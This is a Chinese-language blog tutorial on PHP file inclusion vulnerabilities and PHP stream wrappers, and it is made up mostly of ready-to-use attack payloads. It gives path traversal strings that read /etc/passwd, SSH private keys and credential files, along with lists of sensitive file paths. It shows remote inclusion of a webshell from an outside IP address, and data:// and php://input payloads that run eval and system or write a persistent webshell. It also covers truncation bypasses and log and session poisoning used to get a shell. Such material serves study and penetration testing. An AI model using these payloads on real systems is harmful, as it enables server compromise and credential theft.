文件包含漏洞&&PHP伪协议

一、PHP中常见的包含文件函数

Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这与程序开发人员的水平无关,而问题在于语言设计的弊端。文件包含漏洞在黑盒极少遇到,通常都是通过白盒审计找出来的。

二、分类

LFI(本地包含)

  • 用法:
?file=C:\Windows\my.ini
?file=../../../../../../../../../../../../../../../../etc/passwd
  • 常用敏感文件路径:

Windows:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

RFI(远程包含)

  • 条件:allow_url_fopen=on、allow_url_include=on
  • 方法:利用http协议读取远程主机上的一句话木马,直接getshell
  • 用法:
?filename=http://8.134.95.36/hacker/shell.txt
  • 注意:1.allow_url_include=on 2.一句话木马需要写在txt文件上、如果是php文件则会变成访问远程主机的php网页

三、PHP伪协议

file://

  • 作用:读取本地文件
  • 条件:file协议使用需要用到完整路径,依赖前期的信息收集
  • 用法:
?filename=file://D:/phpStudy2018/PHPTutorial/phpinfo.txt
?filename=file:///etc/passwd

phar://、zip://、bzip2://、zlib://

  • 作用:可以访问压缩文件中的子文件
  • 注意:不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,将phpinfo.txt压缩成phpinfo.zip,再将压缩包重命名为phpinfo.jpg
  • 条件:无
  • 用法
?file=zip://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
?file=phar://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.zip\phpinfo.txt
?file=compress.bzip2://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.bz2
?file=compress.zlib://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.gz

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。
参考文章:seebug - 利用 phar 拓展 php 反序列化漏洞攻击面

data://

  • 作用:使用data://数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码。
  • 条件:(1)PHP>=5.2.0 (2)allow_url_fopen=on、allow_url_include=on
  • 用法:
?file=data://text/plain,<?php @eval($_POST['pass']);phpinfo();?>
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pO3BocGluZm8oKTs/Pg==

php://filter

  • 作用:读取文件内容
  • 条件:无
  • 用法:
?file=php://filter/resource=flag.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
//大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取将文件内容进行base64编码后显示在浏览器上,再自行解码

php://input

  • 作用:执行php代码,或者写入文件
  • 条件:allow_url_include=on
  • 用法:
?file=php://input
[POST DATA部分]
<?php system("ls"); ?>

?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?= assert(array_pop($_REQUEST))?>'); ?>
//蚁剑链接时,编码器用chr

三、后缀名固定绕过方法

当代码中包含文件后面固定了后缀名,如:include($flie.".html")时,会使得我们不能随便包含,并且不能使用伪协议
但我们可以用以下几种方法绕过:

1.%00截断

  • 条件:(1)magic_quotes_gpc=off(2)php版本<5.3.4
  • 原理:url的%00代表着ascii码中的0,表示着字符串结束,代表着读取已结束
  • 用法:
?file=C:\Windows\win.ini%00

2.长度截断

  • 条件:(1)windos环境下(2)要求是相对路径(3)php5.x的低版本
  • 原理:垃圾数据溢出
  • 用法:
?file=../../phpinfo.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

3.协议绕过

  • 条件:可以上传文件
  • 方法:利用zip://协议,上传可以上传的文件类型后缀的压缩包,压缩包里面的文件后缀为要求所固定的后缀名,最后利用zip://协议时去掉文件后缀名,利用代码补全的后缀名
  • 用法:
?file=zip://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.jpg%23phpinfo

四、文件包含get shell三种方法:

1.配合文件上传

2.配合日志文件:

  • 方法:在日志文件中留下一句话木马,再利用flie://协议访问日志文件
  • 用法:

nginx&&linux:
日志路径/var/log/nginx/access.log

1.查看日志内容,是否记录访问主机的UA信息或者其他参数
2.根据中间件、数据库类型,去网上找到日志文件路径
3.修改访问数据包的User-Agent参数,在后面加入php执行代码(一句话木马之类的)
4.通过文件包含用flie://协议访问日志文件,尝试用蚁剑连接
//最好一次过,代码不要写错,不然环境容易出现问题

3.配合SESSION文件:

参考文章:lnterpreter - session包含
session文件路径:

  • linux:/tmp或者/var/lib/php/seesion
  • Windows:C:\Windows\Temp
posted @ 2022-12-29 19:55  bcxc9405  阅读(795)  评论(0)    收藏  举报
/*
*/